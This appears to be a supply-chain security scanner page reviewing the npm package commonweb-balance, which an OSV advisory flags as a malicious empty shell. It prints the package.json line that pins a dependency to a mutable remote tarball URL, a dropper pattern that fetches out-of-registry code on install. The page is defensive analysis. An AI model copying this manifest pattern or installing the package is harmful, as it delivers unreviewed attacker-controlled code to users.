registry / commonweb-balance / 99.9.1

commonweb-balance@99.9.1

AI Security Review

scanned 9d ago · by lpm-firewall-ai

Installing this package makes npm retrieve a dependency from a remote tarball URL. The package itself contains no confirmed executable attack behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation

Impact

The remotely hosted dependency is outside the package's local source and could change independently.

Mechanism

Remote tarball dependency resolution

Rationale

The remote tarball dependency is a real unresolved supply-chain risk, but direct inspection found no concrete malicious behavior in the package source. Warn rather than block.

Evidence

package.jsonindex.js

Network endpoints1

ltidi.storage.googleapis.com/depenconf/ltidisafe-3.4.5.tgz

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-13439

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in commonweb-balance (npm)

Details

commonweb-balance@99.9.1 is an empty shell package (empty index.js, no functionality) whose only effect on install is resolving its single declared runtime dependency `ltidisafe` from a direct tarball URL at `https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.4.5.tgz` rather than from the npm registry. On `npm install`, npm downloads and installs whatever bytes are served at that URL into the installer's node_modules, bringing that code into the dependency tree outside npm registry review. The GCS bucket is publisher-unrelated (no matching author or homepage metadata on the host package) and mutable — whoever controls the bucket can change the served tarball contents at any time without republishing to npm. The host package has no legitimate function other than to pull this out-of-registry dependency into installers, matching the dependency-chain dropper / lure pattern.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Suspicious at 78.0% confidence as Unknown with medium false-positive risk.

Evidence for block

package.json pins ltidisafe to a remote Google Storage tarball.

Evidence against

package.json has no preinstall, install, or postinstall hook.
index.js only exports an empty object.
Only index.js and package.json exist; no local payload or execution code found.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 35 B of source

Source & flagged code

1 flagged

package.jsonView file

Lines 1-15json

2 "name": "commonweb-balance",

3 "version": "99.9.1",

4 "description": "",

5 "main": "index.js",

6 "scripts": {

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg · L6

7 "test": "echo \"Error: no test specified\" && exit 1"

8 },

9 "dependencies": {

10 "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.4.5.tgz"

11 },

12 "author": "",

13 "license": "ISC"

14}

Source & flagged code

1 flagged · loading source

package.jsonView file

•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.4.5.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

Findings

1 Medium1 Low

MediumRemote Tarball Dependencypackage.json

LowScripts Present